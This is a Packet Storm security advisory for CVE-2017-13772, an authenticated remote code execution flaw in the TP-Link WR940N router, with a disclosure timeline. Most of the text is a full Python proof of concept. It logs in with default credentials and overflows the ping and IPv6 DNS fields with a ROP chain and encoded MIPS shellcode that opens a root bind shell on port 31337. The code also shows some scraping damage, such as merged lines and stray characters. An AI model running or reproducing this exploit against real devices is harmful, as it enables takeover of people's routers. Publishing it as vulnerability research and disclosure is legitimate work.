Lucene search

K
packetstormTim CarringtonPACKETSTORM:144691
HistoryOct 21, 2017 - 12:00 a.m.

TP-Link WR940N Remote Code Execution

2017-10-2100:00:00
Tim Carrington
packetstormsecurity.com
193

0.697 Medium

EPSS

Percentile

98.0%

`** Advisory Information  
  
Title: TP-Link Remote Code Execution  
Blog URL: https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/  
Vendor: TP-Link  
Date Published: 19/10/2017  
CVE: CVE-2017-13772  
  
  
** Vulnerability Summary  
  
Numerous remote code execution paths were discovered in TP-Link's  
WR940N home WiFi router. Valid credentials are required for this  
attack path. It is possible for an authenticated attacker to obtain a  
remote shell with root privileges.  
  
  
** Details  
  
There were multiple occurrences of strcpy being used in an unsafe  
manner, resulting in a trivial buffer overflow condition. It is also  
possible to cause a Denial of Service on the web service.  
  
Using the aDiagnostica page, an attacker could utilise the built in  
apinga feature of the router to cause either; a Denial of Service  
attack to crash the web server or exploit a buffer overflow condition  
to obtain a remote root shell.  
  
  
** Vendor Response  
  
TP-Link have released a new version of the firmware thus mitigating  
exploitation of this issue.  
  
  
** Report Timeline  
  
* Disclosed to vendor a 11/8/2017  
* Response from vendor, request for initial advisory a 14/8/2017  
* Initial advisory sent a 14/8/2017  
* Beta patch sent for testing by vendor a 17/8/2017  
* Patch confirmed to work, however other vulnerable locations were  
identified, a second exploit was written to demonstrate this. Sent to  
vendor a 17/8/2017  
* Response by vendor, will look into the other vulnerable locations a 18/8/2017  
* Second patch sent for testing by vendor a 25/8/17  
* Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy  
removed) a 29/8/2017  
* Patch released a 28/9/2017 (Only HW V5 US)  
  
** Credit  
  
This vulnerability was discovered by Tim Carrington, part of the Fidus  
Information Security research team.  
  
  
** References  
  
https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/  
  
  
** Disclaimer  
  
This advisory is licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/  
  
  
Proof of concept:  
  
import urllib2  
import base64  
import hashlib  
from optparse import *  
import sys  
import urllibbanner = (  
"___________________________________________________________________________\n"  
"WR940N Authenticated Remote Code Exploit\n"  
"This exploit will open a bind shell on the remote target\n"  
"The port is 31337, you can change that in the code if you wish\n"  
"This exploit requires authentication, if you know the creds, then\n"  
"use the -u -p options, otherwise default is admin:admin\n"  
"___________________________________________________________________________"  
)  
  
def login(ip, user, pwd):  
print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)  
  
#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))  
hash = hashlib.md5()  
hash.update(pwd)  
auth_string = "%s:%s" %(user, hash.hexdigest())  
encoded_string = base64.b64encode(auth_string)  
print "[+] Encoded authorisation: %s" %encoded_string  
  
#### Send the request  
url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"  
print "[+] sending login to " + url  
req = urllib2.Request(url)  
req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)  
resp = urllib2.urlopen(req)  
  
#### The server generates a random path for further requests, grab that here  
data = resp.read()  
next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])  
print "[+] Got random path for next stage, url is now %s" %next_url  
  
return (next_url, encoded_string)  
  
#custom bind shell shellcode with very simple xor encoder  
#followed by a sleep syscall to flush cash before running  
#bad chars = 0x20, 0x00  
shellcode = (  
#encoder  
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"  
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit  
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"  
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"  
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"  
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"  
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"  
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"  
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"  
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"  
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"  
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"  
"\x02\x2a\x18\x26\xae\x43\xff\xc1"  
  
#sleep  
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"  
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"  
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"  
  
################ encoded shellcode ###############  
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"  
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"  
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"  
"\x7a\x69" #<aaaaaaaa- PORT 0x7a69 (31337)  
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"  
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"  
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"  
"\x01\x0c\x24\x0f\x73\x50"  
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"  
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"  
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"  
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"  
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"  
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"  
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"  
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"  
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"  
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"  
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"  
)  
  
###### useful gadgets #######  
nop = "\x22\x51\x44\x44"  
gadg_1 = "\x2A\xB3\x7C\x60"  
gadg_2 = "\x2A\xB1\x78\x40"  
sleep_addr = "\x2a\xb3\x50\x90"  
stack_gadg = "\x2A\xAF\x84\xC0"  
call_code = "\x2A\xB2\xDC\xF0"  
  
def first_exploit(url, auth):  
# trash $s1 $ra  
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4  
rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode  
  
params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}  
  
new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)  
  
print "[+] sending exploit..."  
print "[+] Wait a couple of seconds before connecting"  
print "[+] When you are finished do http -r to reset the http service"  
  
req = urllib2.Request(new_url)  
req.add_header('Cookie', 'Authorization=Basic %s' %auth)  
req.add_header('Referer', url + "DiagnosticRpm.htm")  
  
resp = urllib2.urlopen(req)  
  
def second_exploit(url, auth):  
url = url + "WanStaticIpV6CfgRpm.htm?"  
# trash s0 s1 s2 s3 s4 ret shellcode  
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c  
payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4  
payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7  
print len(payload)  
  
params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',  
'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',  
'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',  
'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}  
  
new_url = url + urllib.urlencode(params)  
  
print "[+] sending exploita|"  
print "[+] Wait a couple of seconds before connecting"  
print "[+] When you are finished do http -r to reset the http service"  
  
req = urllib2.Request(new_url)  
req.add_header('Cookie', 'Authorization=Basic %s' %auth)  
req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")  
  
resp = urllib2.urlopen(req)  
  
if __name__ == '__main__':  
print banner  
username = "admin"  
password = "admin"  
  
parser = OptionParser()  
parser.add_option("-t", "atarget", dest="host",  
help="target ip address")  
  
parser.add_option("-u", "auser", dest="username",  
help="username for authentication",  
default="admin")  
  
parser.add_option("-p", "apassword", dest="password",  
help="password for authentication",  
default="admin")  
  
(options, args) = parser.parse_args()  
  
if options.host is None:  
parser.error("[x] A host name is required at the minimum [x]")  
  
if options.username is not None:  
username = options.username  
if options.password is not None:  
password = options.password  
  
(next_url, encoded_string) = login(options.host, username, password)  
  
###### Both exploits result in the same bind shell ######  
#first_exploit(data[0], data[1])  
second_exploit(next_url, encoded_string).  
  
  
`

0.697 Medium

EPSS

Percentile

98.0%